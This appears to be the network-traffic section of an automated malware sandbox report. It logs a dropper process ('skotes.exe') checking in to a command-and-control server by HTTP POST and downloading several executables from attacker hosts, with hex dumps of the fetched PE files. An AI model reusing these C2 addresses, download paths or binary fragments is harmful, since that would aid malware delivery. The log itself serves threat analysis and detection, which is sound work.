5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 e0 b9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 df b9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2H@0kC@ _pes Pel'@.rsrc `e\|'@.idata pe\|'@ 8e~'@mxitkrgf0'@pgrlgpvs2C@.taggant0"6C@
Nov 18, 2024 13:30:08.968324900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:08.968359947 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:08.968403101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:08.968437910 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:08.968468904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 1d 92 14 53 46 08 90 32 a2 88 cc 36 1e d6 9f 93 b3 e2 97 43 72 05 2b 7f f9 0a 98 23 d6 25 5f fc 44 f9 93 2e 55 d5 de a0 1a 90 73 59 ac b6 de df 4f 11 30 70 af 8f 00 2f 86 bf 77 d6 Data Ascii: SF26Cr+#%_D.UsYO0p/w%5&uL/%5?7a-(y:Ij\M}Ejqz3I]4t8I\|uWFwtiwd44v0F@F*/d{$bHhAW-~,qV0f!%S!beqVo)
Nov 18, 2024 13:30:08.968506098 CET	1236	IN	Data Raw: 98 2e 7d 6b b8 fb a8 a9 2a 7e 74 c1 fa b1 81 ba 84 9d 3f c5 75 ac a5 0d 48 72 ff 13 c7 06 33 f7 8e 42 67 2d 07 fe 51 d1 de 2d d6 86 35 09 d4 4b a4 81 9a 8a 4c 4e 76 e2 b0 60 e3 68 ef 64 96 3e 11 56 fe 92 b8 11 eb 37 79 95 d1 66 48 3e a3 4d 83 d7 Data Ascii: .}k~t?uHr3Bg-Q-5KLNv`hd>V7yfH>M(^8+-]Qst-ISq f6>W-RlC#O$3kN%,:Tvk+M,hd\|G~ACDZ'8kNO#SpJ!Z*EJTZ[HSoB6S&x/L0Po y8r
Nov 18, 2024 13:30:08.968617916 CET	424	IN	Data Raw: 67 6d 9f 92 23 34 ab 12 63 2c 43 1b 24 18 78 4c a3 77 1e 4d 65 ed 8e 9d 6a 41 18 ea 9f 67 2a e9 af 67 2e e7 bf 8e 23 f5 70 dd 30 ee c7 cc 51 bb ee a0 1c 24 32 72 c0 c9 9b b1 95 e5 9f 67 39 8e d0 7b 61 48 ff d3 a3 07 20 56 df 90 5c c5 1f a3 34 6e Data Ascii: gm#4c,C$xLwMejAgg.#p0Q$2rg9{aH V\4n:>H5Exxt_XnW}x &"L$>VFAS"/=+0)K0{mX-fl?smiqtun-!ACoAh;GWu,"+
Nov 18, 2024 13:30:08.968652964 CET	1236	IN	Data Raw: 60 ad 0a d3 f3 d2 4a 65 43 80 64 1d d0 2e ad d1 4b 75 39 8a cb a1 3a 93 16 39 51 ed 2e 4f 35 4b 0c 1f 02 bb 67 50 af 73 1b ad 2f 11 c9 62 42 b5 ef 8d 0a 5c 72 c4 96 0a 68 de 33 12 30 48 97 2e 89 77 2c e8 7e ae c6 91 e0 42 b7 1b 53 3d 8c 0c 01 c0 Data Ascii: `JeCd.Ku9:9Q.O5KgPs/bB\rh30H.w,~BS=\Qk;x-c4>[39&22zHoM^-q=c+>x0vlobTU#2A,0Rb"a3wj&8iK T3CV`^_r}6C
Nov 18, 2024 13:30:08.968698978 CET	212	IN	Data Raw: 73 72 9a c3 a1 b2 21 9d 60 66 29 de 4a ae 35 ac 52 3b 0d e4 de 57 61 12 61 37 7f f3 31 0c 2d f0 5e 3b 2b 99 81 b2 98 8d 67 bc 15 fe 7f 7f 08 96 12 bb 05 a8 17 4f b7 f9 a6 6c 72 c2 9e 55 2f 8e c6 ef 72 33 f5 4c 6e 1b f5 bb 21 bd 82 49 86 de e5 8d Data Ascii: sr!`f)J5R;Waa71-^;+gOlrU/r3Ln!ItGaSK\P~d(^i$S,vo'5l316?% X-}$$,@{>Bw{oV0$].F1&aMA
Nov 18, 2024 13:30:08.975402117 CET	1236	IN	Data Raw: 32 83 8c 8f 17 4b b5 e0 70 41 e3 31 53 49 3b 40 5a 7b 35 09 6e 57 c0 4e 7a f9 1c 5d 3b 95 40 a3 54 30 8e 9e 6c 04 83 e6 66 31 26 63 cf 72 bf cb 19 68 32 18 30 52 09 12 12 f3 05 72 63 52 b2 63 42 c9 49 ef 6a 2f ef 6e 0c 7f cb d5 70 8c f4 f4 31 d3 Data Ascii: 2KpA1SI;@Z{5nWNz];@T0lf1&crh20RrcRcBIj/np1mH,uV-$gARI`tpY:ur\3zx:e..GnUW{@[C`-iI.gN]\`j-C]>`PQy#T2DbaM)(ayOcm7$RQ)5U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49840	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:18.145849943 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007148001&unit=246122658369
Nov 18, 2024 13:30:19.060359001 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49841	185.215.113.16	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:19.068780899 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 13:30:19.990448952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:19 GMT Content-Type: application/octet-stream Content-Length: 1909248 Last-Modified: Mon, 18 Nov 2024 11:54:22 GMT Connection: keep-alive ETag: "673b2aee-1d2200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 17 10 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDK@L@\p x@.rsrc @.idata @ +@ynffvxykpP1n@gdqldguoK@.taggant0K"@
Nov 18, 2024 13:30:19.990467072 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:19.990488052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:19.990502119 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:19.990511894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:19.990521908 CET	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:19.990612030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:19.990624905 CET	1236	IN	Data Raw: 58 d4 44 b6 55 9f 60 ef cf c7 12 a6 a0 be 1a 3f 1c 49 72 f2 33 e6 98 7c 48 90 13 47 50 4e 51 b7 e8 00 85 3b 43 81 70 cc 0d 47 87 c3 ee 67 aa 8e 08 01 a1 6a 90 29 51 03 f8 4a b9 2e bd 85 ec 0d e1 bf 22 c3 e9 07 3a 7e 36 5b 65 f8 a7 0e 4e a6 9b 2c Data Ascii: XDU`?Ir3\|HGPNQ;CpGgj)QJ.":~6[eN,rw$@L(e9^)B[I~)YY`_<@.o1,r]cTMAASb^&x!?Bj7O\|7S@wS%.GD2=n-LgS
Nov 18, 2024 13:30:19.990631104 CET	224	IN	Data Raw: df 06 41 f6 08 4b 0a d7 e2 38 02 8a 04 67 33 63 74 90 20 8d 8c a0 8d 0a 93 40 40 67 29 48 70 22 7f c4 1b bc 41 4f d2 96 c1 ac 83 05 50 2d 13 01 b7 c0 b6 8d 5b 57 90 dc 5d 38 41 25 f3 4a 95 fc 4e 3c 7d 6c d7 e8 07 e7 05 69 49 36 0f a0 51 ea 87 ec Data Ascii: AK8g3ct @@g)Hp"AOP-[W]8A%JN<}liI6Ql:.C!hod~`BQ-'$v6$\|>e4);_o#120@8/jX$?9]Fv_iR*
Nov 18, 2024 13:30:19.990643978 CET	1236	IN	Data Raw: 51 0c 20 48 93 fd 3c 4a 40 ea 65 60 8d 6a 78 21 8e e0 61 e0 f1 2f 15 28 ef d1 4d d8 e0 68 78 9a 1b 92 64 4e 0c 40 92 94 bd 60 9f 1f 20 96 e1 c5 26 c7 6e 8b ff c9 a2 57 a4 06 1e 0d 4b 70 f9 4d 21 ff df 08 29 89 bd cd 85 b8 10 18 e8 80 fd ad 1b 0f Data Ascii: Q H<J@e`jx!a/(MhxdN@` &nWKpM!)[EOwJXCmA0R}Q>nf(LNMLGNNS <kL4SGL@P=_Hy,hSHgA~L-9iq
Nov 18, 2024 13:30:19.995601892 CET	1236	IN	Data Raw: b7 58 b8 97 6a 4b e1 52 c3 cc cf 47 42 43 c2 12 fb 42 65 49 3c ef fa 94 03 8b 1e 7a e6 c7 07 39 02 3c 5a 0a 72 fd 61 30 d4 0c 2d 38 6d fc 79 75 07 b0 89 98 ec df 7c 29 33 33 dd 92 d6 b3 82 6a 29 47 42 08 ab 51 f6 49 07 32 10 9a df 2c 4f d3 7d 61 Data Ascii: XjKRGBCBeI<z9<Zra0-8myu\|)33j)GBQI2,O}a!}<@cM/g-z_qK5'W/YE&NXsd%.K1o1;r=-=Gb,0[m?)X#pV6>(IAM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49842	62.76.234.151	80	8648	C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:19.287635088 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 13:30:20.324187040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 12:30:20 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 13:30:20.324351072 CET	212	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL
Nov 18, 2024 13:30:20.396660089 CET	1236	IN	Data Raw: 11 39 9f 7e 7f 8d 16 97 05 0a 25 a4 c7 10 6b c2 9f f9 a7 a4 89 e5 c1 96 6b 49 af 33 c0 f4 2f b5 f2 4f ec 13 a2 93 29 5b 5a 07 4b 7c cc b9 45 cc 62 3b c4 f5 6f ca 0f fa 12 e9 62 cb aa be 08 cb 0c 54 df 37 24 29 22 9d 38 f7 f2 38 e8 c3 68 d3 63 4d Data Ascii: 9~%kkI3/O)[ZK\|Eb;obT7$)"88hcM^Q#{yq3B\|W/)1<v}:./dA(oRBZkWH,Fypr6&0.}.tWfl#J4@y^ST%kQb.o:J,rr\
Nov 18, 2024 13:30:20.396727085 CET	1236	IN	Data Raw: 4c 02 37 d9 3d 07 d1 9d 61 11 8d 96 d6 0d db 40 d1 68 aa 97 8e 36 9a 11 93 5c d5 35 30 23 bf 4d a3 4e f3 a8 35 ca 12 56 f6 d8 91 d4 74 a3 8b b3 7d 80 49 88 1d 44 48 6a cb 0c 26 5a 38 b9 54 a9 e2 07 29 8a 2a c2 de 6f df 94 df dd 15 ef 09 30 f8 0e Data Ascii: L7=a@h6\50#MN5Vt}IDHj&Z8T)*o0OosJ\|/0BbQ'!j/f5}Iz60Dq)lrl ]]tp=+sIphl__k?a7Y.Kfi92`sqn
Nov 18, 2024 13:30:20.396761894 CET	1236	IN	Data Raw: 90 da ff 30 aa 9c 3c 3d 0b 49 33 b2 e7 f7 82 4a 6b 92 58 d3 0c f0 0e 4f ef a9 30 ed f5 9d 02 7e a1 48 b2 7f ff 30 8b 9c e9 a8 c2 6c 1e ef a3 8f f3 07 ba e2 df b2 d3 9f 16 73 95 86 08 f4 d6 f1 c3 5e 45 df 7f aa 16 57 48 45 e7 c4 6e 58 e0 dd 4f 1c Data Ascii: 0<=I3JkXO0~H0ls^EWHEnXOxKz@]Z`.wQ0rMiyWGDhiEF@=D0%Nuu Uyg4"1AF<zTRnib/`0+kEkcWT]Ay
Nov 18, 2024 13:30:20.396847963 CET	636	IN	Data Raw: c6 8f ca 29 15 ea 94 ee c6 3d 76 75 bf 4a 11 e4 88 04 74 4f 71 4e 09 4c e3 ac a6 33 4e 13 0c cd 4c 4b 99 6a 57 cb 65 0b 66 f2 1c fd 75 f6 a3 fe 35 73 5c 82 be 6f 6f d0 69 10 f3 50 c4 d8 d9 22 4f d0 bd 1d 00 5c ad 3d 7d c4 7f 36 71 27 38 42 0d 83 Data Ascii: )=vuJtOqNL3NLKjWefu5s\ooiP"O\=}6q'8B?RUsD6O}3 381[z<@]k\y*p=z%f)%N@5>BqEeVmHd~260Uh@7<INwqA^U0o9:4pi;hdz
Nov 18, 2024 13:30:20.427242994 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 13:30:20.427288055 CET	212	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(
Nov 18, 2024 13:30:20.427361965 CET	1236	IN	Data Raw: 77 2e b5 41 cf 3f 6f 9d 7d b6 f6 de 27 53 c7 da 9f e7 14 1e 08 fa ae da 35 34 20 4e 39 9c 45 67 b5 aa 78 64 04 3d ad c6 f8 28 bf f8 d3 75 80 94 fa 49 8e 17 c3 79 91 3f 3f c3 5a bf 6b 4f 7b c0 19 00 44 92 4c 21 a0 0d 76 60 8a cd 09 1b fa 69 d4 58 Data Ascii: w.A?o}'S54 N9Egxd=(uIy??ZkO{DL!v`iX:l$.K5PT0?[s[-Bd'EE.DkJ\^A2AW7Y'eqA#A(pI>j>iB3l(Bs?9UA5Ihhg[C4\|_I~\|vaD
Nov 18, 2024 13:30:20.427397966 CET	212	IN	Data Raw: 30 be b5 2b ec 88 94 c9 a8 95 5d 60 35 dc 42 cf 31 45 5e b2 92 98 67 9e 8d 17 6f 96 c8 24 b2 8c a5 c0 4d 84 04 98 f0 24 44 1f 34 05 0c 6f 24 ee c0 15 79 0b 4e a0 2c e2 a7 03 bb 56 f4 35 45 81 46 22 7a cc 70 60 ce 12 ca 1b 27 ca fc ce 7f 4b a5 8d Data Ascii: 0+]`5B1E^go$M$D4o$yN,V5EF"zp`'KS0M_rW\C?.N(\|F\Q$juz"yMo.Lb%9KNXN4MB asC) nm
Nov 18, 2024 13:30:20.427428007 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49848	185.215.113.43	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:27.665400982 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007149001&unit=246122658369
Nov 18, 2024 13:30:28.514163971 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49850	185.215.113.16	80	8296	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:30:28.521975994 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 13:30:29.456518888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 12:30:29 GMT Content-Type: application/octet-stream Content-Length: 1783808 Last-Modified: Mon, 18 Nov 2024 11:54:29 GMT Connection: keep-alive ETag: "673b2af5-1b3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 8a ae [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"h@h@M$a$$ $b@.rsrc$r@.idata $t@ *$v@owrujbfcNx@llupfgfih@.taggant0h"@
Nov 18, 2024 13:30:29.456554890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:29.456566095 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:29.456655979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 13:30:29.456666946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: *
